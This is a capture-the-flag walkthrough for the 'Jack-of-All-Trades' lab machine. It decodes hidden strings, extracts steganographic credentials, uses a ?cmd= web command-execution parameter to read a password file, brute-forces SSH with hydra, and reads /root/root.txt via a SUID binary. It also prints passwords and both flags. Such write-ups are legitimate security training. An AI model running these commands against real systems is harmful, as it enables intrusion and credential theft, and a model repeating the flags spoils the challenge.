Jack-of-All-Trades

Boot-to-root originally designed for Securi-Tay 2020

nmap-scan

sudo nmap -sC -sV <IP>

PORT STATE SERVICE VERSION

22/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Jack-of-all-trades!
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)

80/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 13:b7:f0:a1:14:e2:d3:25:40:ff:4b:94:60:c5:00:3d (DSA)
| 2048 91:0c:d6:43:d9:40:c3:88:b1:be:35:0b:bc:b9:90:88 (RSA)
| 256 a3:fb:09:fb:50:80:71:8f:93:1f:8d:43:97:1e:dc:ab (ECDSA)
|_ 256 65:21:e7:4e:7c:5a:e7:bc:c6:ff:68:ca:f1:cb:75:e3 (ED25519)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS: Debian 5

writeup

----------user-flag----------

--ran nmap -sC -sV <IP> and found open ports 22 and 80, but they're switched around. As in HTTP is on 22, and SSH is on 80
--tried to open page http://<IP>:22, but get error message that port is restricted
--so I went to about:config in firefox, clicked accept, then network.security.ports.banned.override and added string value 22 to disable restriction on the port
--I then went to the page successfully and found the following comment and base64 string in the source code:
<!--Note to self - If I ever get locked out I can get back in at /recovery.php! -->
<!--
UmVtZW1iZXIgdG8gd2lzaCBKb2hueSBHcmF2ZXMgd2VsbCB3aXRoIGhpcyBjcnlwdG8gam9iaHVudGluZyEgSGlzIGVuY29ka
>

--decoded base64 string is:
Remember to wish Johny Graves well with his crypto jobhunting! His encoding systems are amazing! Also gotta remember your password: u?WtKSraq

--also on webpage I noticed the name 'Jack' so I figured credentials are jack:u?WtKSraq, went to /recovery.php and tried to login unsuccessfully
--found another encoded string on /recovery.php:
GQ2TOMRXME3TEN3BGZTDOMRWGUZDANRXG42TMZJWG4ZDANRXG42TOMRSGA3TANRVG4ZDOMJXGI3DCNRXG43DMZ

--after getting lost for a while I searched the name Johny Graves and found a Facebook profile for "Johny Graves" that said "Professional Cryptographer", and his Introduction was the following:
My favourite encoding strategy is Rot13 -> Hex -> Base32

--using CyberChef I reversed his encoding strategy with recipe "From Base32 -> From Hex -> ROT13" and got:
Remember that the credentials to the recovery login are hidden on the homepage! I know how forgetful you are, so here's a hint: bit.ly/2TvYQ2S

--with the hint and link provided I went to homepage, found a picture of a stegosaurus, and used 'steghide extract -sf stego.jpg' and password u?WtKSraq to get hidden creds.txt containing:
Hehe. Gotcha!
You're on the right path, but wrong image!

--so I tried the same thing on jackinthebox.jpg unsuccessfully, then tried it on header.jpg successfully with steghide extract -sf header.jpg and u?WtKSraq. It gave us cms.creds file containing:
Username: jackinthebox
Password: TplFxiSHjY

--logged in with new creds and found a web page with the comment:
GET me a 'cmd' and I'll run it for you Future-Jack.

--comment indicates Remote Code Execution(RCE) so I appended ?cmd=whoami to the end of the URL and it successfully returned data:
www-data

--tried it again with ?cmd=ls -al /home appended to URL and found file called jacks_password_list
--ran it again with ?cmd=cat /home/jacks_password_list and it gave me a list of possible passwords
--ran hydra -l jack -P pass-list.txt <IP> -t 64 ssh -s 80 and got:
[80][ssh] host: 10.10.136.220 login: jack password: ITMJpGGIqg1jn?>@

--logged into SSH with ssh jack@<IP> -p 80 and got user shell
--ran ls command and found user.jpg
--then ran scp -P 80 jack@<IP>:user.jpg /tmp to get image to my machine for investigating, opened image and saw flag:
securi-tay2020_{p3ngu1n-hunt3r-3xtr40rd1n41r3}

----------root-flag----------

--ran sudo -l unsuccessfully, then tried find / -type f -user root -perm -4000 -exec ls -ldb {} \; 2>>/dev/null and noticed /usr/bin/strings runs as root
--ran strings /root/root.txt and got root flag:
securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}

[Task 1] Flags

Jack is a man of a great many talents. The zoo has employed him to capture the penguins due to his years of penguin-wrangling experience, but all is not as it seems... We must stop him! Can you see through his facade of a forgetful old toymaker and bring this lunatic down?

#1
User Flag

securi-tay2020_{p3ngu1n-hunt3r-3xtr40rd1n41r3}

#2
Root Flag

securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}